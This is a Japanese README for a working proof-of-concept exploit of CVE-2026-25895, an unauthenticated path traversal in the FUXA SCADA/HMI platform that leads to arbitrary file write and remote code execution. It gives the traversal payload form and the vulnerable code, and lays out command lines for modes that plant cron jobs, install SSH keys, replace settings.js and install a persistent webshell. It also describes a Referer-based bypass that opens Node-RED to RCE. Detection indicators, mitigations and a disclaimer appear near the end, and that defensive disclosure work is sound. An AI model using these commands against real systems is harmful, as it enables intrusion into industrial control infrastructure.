
CVE-2026-25895 FUXA 認証なしパストラバーサル -> 任意ファイル書き込み -> RCE のPOCエクスプロイト
Node.jsベースのSCADA/HMIプラットフォームであるFUXAに対する、認証なし・認証前の任意ファイル書き込み。複数の異なる書き込み後プリミティブを介してリモートコード実行に連鎖します。脆弱なエンドポイントにはミドルウェアが接続されていないため、secureEnabled = true(認証オン)の場合でも機能します。
ExploitDB でも公開されています: https://www.exploit-db.com/exploits/52568
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2026-25895 |
| 影響を受けるバージョン | FUXA <= 1.2.9 |
| パッチ適用済み | FUXA 1.2.10 |
| ベンダー | frangoteam / FUXA |
| 攻撃ベクター | ネットワーク (HTTP/HTTPS) |
| 認証 | 不要 |
| 影響 | 任意ファイル書き込み、リモートコード実行 |
| CVSS v3.1 | 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 研究者 | Anthony Cihan (Hann1bl3L3ct3r) |
FUXA の POST /api/upload エンドポイント(server/api/projects/index.js:193)はミドルウェアなしで登録されており、他のすべてのプロジェクト管理エンドポイントに適用される secureFnc JWT / APIキーチェックと管理者権限ゲートの両方をバイパスします。ハンドラー内では、JSON本文のフィールド destination が、先頭にアンダースコアを付けるだけで正規化や包含チェックなしにファイルシステムパスへ連結されます:
let destinationDir = path.resolve(runtime.settings.appDir, `_${destination}`);
filePath = path.join(destinationDir, fullPath || fileName);
fs.writeFileSync(filePath, basedata, encoding);
destination の値が a/../../../../../etc の形式(a が先頭のアンダースコアプレフィックスを吸収する)の場合、Node の path.resolve は appDir から脱出して、FUXA プロセスが書き込み可能な任意の場所に到達できます。fs.writeFileSync の前には条件付きの fs.mkdirSync(dir, { recursive: true }) があるため、攻撃者は必要に応じて親ディレクトリも作成できます。
その結果、デフォルトの HTTP ポート(1881)で到達可能な認証なし任意ファイル書き込みプリミティブが得られ、FUXA 管理者がログインを有効にしているかどうかに関係なく、認証前に悪用可能です。
認証されていないリモート攻撃者は以下を実行できます:
settings.js を置き換えて、次回の FUXA 再起動時にコード実行を達成するroot で実行されている場合(ベンダーの Docker イメージでのデフォルト)、60秒以内にコード実行するための cron ジョブ(/etc/cron.d/<file>)を配置する/root/.ssh/authorized_keys または任意のユーザーの ~/.ssh/authorized_keys に配置するこれは、産業プロセスの運用に使用される ICS/SCADA プラットフォームにおける、認証前の重大度クリティカルの深刻な脆弱性です。
| Version | Status |
|---|---|
<= 1.2.9 | 脆弱 |
1.2.10+ | パッチ適用済み |
Ubuntu Server 上の FUXA 1.2.9 のクリーンインストールに対して悪用可能であることを確認済みです。
サードパーティ依存関係が1つ(requests)の単一ファイル Python 3 スクリプトです。
pip install requests
python3 fuxapwn.py --help
何も異常なものを書き込まずに、実行中の OS ユーザー、Node-RED の露出、およびホスト上の他のアカウントを特定します:
python3 fuxapwn.py -u http://target:1881 --mode recon \
--probe-root --probe-home
中立な /tmp/healthcheck マーカーを書き込みます(ファイル名にも内容にも CVE 固有の IoC は含まれません):
python3 fuxapwn.py -u http://target:1881 --mode canary
FUXA が root として実行されている場合、FUXA の再起動を必要とせずに60秒以内に発火する cron ファイルを配置します:
python3 fuxapwn.py -u http://target:1881 --mode cron \
--cron-cmd 'id > /tmp/fx.txt 2>&1'
settings.js 置換による永続 WebシェルFUXA Node プロセス内に HTTP Webシェルリスナーをインストールし(require() がモジュールをキャッシュするため、次回のコールドスタートで有効化)、FUXA が再起動したら対話型 REPL に入ります:
# Stage the payload — replaces settings.js but preserves the target's
# real configuration (uiPort, allowedOrigins, secureEnabled, etc.) so the
# application keeps serving normally.
python3 fuxapwn.py -u http://target:1881 --mode webshell \
--appdata /opt/FUXA/server/_appdata --ws-port 31337
# Once FUXA restarts, connect to the installed webshell.
python3 fuxapwn.py -u http://target:1881 --mode webshell-exec \
--ws-host target --ws-port 31337 \
--ws-path /_abc123 --ws-token <printed-above> --interact
モード別の全フラグリファレンス: python3 fuxapwn.py --help。
GET /api/settings(server/api/index.js:103)はミドルウェアなしで登録されており、軽く編集された(サーバーは送信前に secretCode と smtp.password を削除する)実行時設定を返します。残りのフィールドは、通常はサービスユーザーを特定できる絶対パス(appDir、workDir、userSettingsFile、logsDir、uploadFileDir)と、二次的な認証なし RCE 経路(下記参照)の直接的な兆候である nodeRedEnabled を漏えいします。
FUXA がローカルユーザーアカウントで npm start により起動され、インストールパスがユーザーをエンコードしておらず(例: インストールが /opt、/tmp、または一般的な /app 配下にある)、かつ /root/ が書き込み可能でない場合、PoC はフォールバックとして /home/<candidate>/ をゼロバイト書き込みで反復します。
FUXA のアップロードハンドラーは fs.writeFileSync の前に条件付きで fs.mkdirSync(parent, { recursive: true }) を呼び出すため、EACCES の曖昧さが生じます。存在しない /home/<user>/ は mkdir の試行で EACCES により失敗します(プロセスは root 所有の /home/ 配下にディレクトリを作成できない)が、モード 0700 の既存の /home/<other>/ は書き込み自体で EACCES により失敗します。同じ errno でも意味が異なります。PoC は、サーバーから転送された err.message(libuv 形式 "<CODE>: <reason>, <syscall> '<path>'")から syscall トークンを解析して曖昧さを解消し、open 時の EACCES(または mkdir 以外の任意の syscall)のみを「他のユーザーが存在する」として報告します。これにより、errno のみに依存する単純なプローブが生成する横方向移動の誤検知リストを排除します。
漏えいした設定で nodeRedEnabled = true の場合、FUXA に組み込まれた Node-RED 管理エンドポイント(/nodered/flows/deploy など)は、Referer に /editor、/viewer、または /lab を含む任意のリクエストを受け入れる Referer ヘッダーのホワイトリストチェック(node-red/index.js:134-136)により、認証なしで到達可能です。これにより、再起動を必要とせずファンクションノード経由で即座に認証なし RCE が得られます。recon モードはこの状態をフラグ付けします。利用可能な場合は、オペレーターはこの経路を優先すべきです。
settings.js ペイロードはターゲット設定を保持するsettings.js の置換(モード settings-rce および webshell)を生成する際、PoC はまず /api/settings 経由で稼働中の設定を取得し、それを module.exports の本文として JSON シリアライズします(JSON は有効な JavaScript オブジェクトリテラルのサブセットです)。これにより、ターゲットの uiPort、allowedOrigins、secureEnabled、およびその他の実行時設定が保持され、置換後もアプリケーションは正常に動作し続けます。PoC は、ターゲットに secureEnabled = true または smtp ブロックがある場合に明示的に警告します。サーバー側の編集により secretCode(JWT フォールバックが作動します)と smtp.password(手動で復元するまでメール機能が停止します)が削除されるためです。
POST /api/upload。特に destination 値に .. を含むもの、または応答に絶対ファイルシステムパスを含むものGET /api/settings(通常は認証済み UI のみが使用します)/tmp/healthcheck*、/tmp/.fuxa-probe-*、または /home/*/.fuxa-probe-* に一致するファイル(デフォルトのカナリアおよびプローブマーカーファイル名。PoC は明らかな IoC を避けるためにこれらを上書きできるため、存在しないからといって悪用を除外できるわけではありません)settings.js、/etc/cron.d/*、または ~/.ssh/authorized_keys の変更タイムスタンプ/api/upload エンドポイントは標準のミドルウェアチェーンで保護されています。/api/upload および /api/settings への認証なしリクエストをブロックするリバースプロキシを FUXA の前面に配置する。/root/ への書き込み不可、/etc/cron.d/ への書き込み不可、cron によるホスト全体への永続化不可)。nodeRedEnabled = false)。1.2.101.2.9 の server/api/projects/index.js:193研究、PoC、および解説: Anthony Cihan(Hann1bl3L3ct3r)、Offensive Security リード。
このリポジトリには、ICS/SCADA 製品の重大な脆弱性に対する機能するエクスプロイトコードが含まれています。これは、ベンダーによるパッチ適用後、責任ある開示の原則に基づき、防御者(検知作成者、インシデントレスポンダー)および権限のあるセキュリティテスターの利益のために公開されています。
所有するシステム、またはテストするための明示的かつ書面による許可を得ているシステムに対してのみ使用してください。 第三者のシステムに対する本コードの無許可使用は、ほとんどの法域で違法であり、著者によってそのように扱われます。著者は誤用に対する責任を負いません。
FUXA オペレーターで、管理された条件下でこの PoC に対するパッチレベルを検証する支援が必要な場合は、著者に連絡してください。
権限のあるセキュリティテストおよび防御的研究目的で公開されています。完全な条件については LICENSE を参照してください。
| Mode | Purpose |
|---|
recon | GET /api/settings 経由の認証なし情報漏えい。絶対パスから実行中の OS ユーザーを推定。Node-RED の状態を報告。オプションの --probe-root および --probe-home アクティブプローブ |
canary | 中立なデフォルトパスによるファイル書き込みプリミティブの証明 |
settings-rce | settings.js を、次回の FUXA コールドスタート時に設定可能なコマンドを実行するペイロードで置き換える |
ssh-key | 対象ユーザーの authorized_keys に公開鍵を書き込む |
drop | 任意の絶対パスへの任意ファイルドロップ |
cron | FUXA の再起動を待たずに60秒以内の RCE のため /etc/cron.d/<name> を配置する(FUXA が root で実行されている必要あり) |
webshell | settings.js 置換により FUXA Node プロセス内に HTTP Webシェルリスナーをインストールする(次回のコールドスタートで有効化) |
webshell-exec | インストール済み Webシェル用のクライアント。単一コマンドまたは --interact REPL |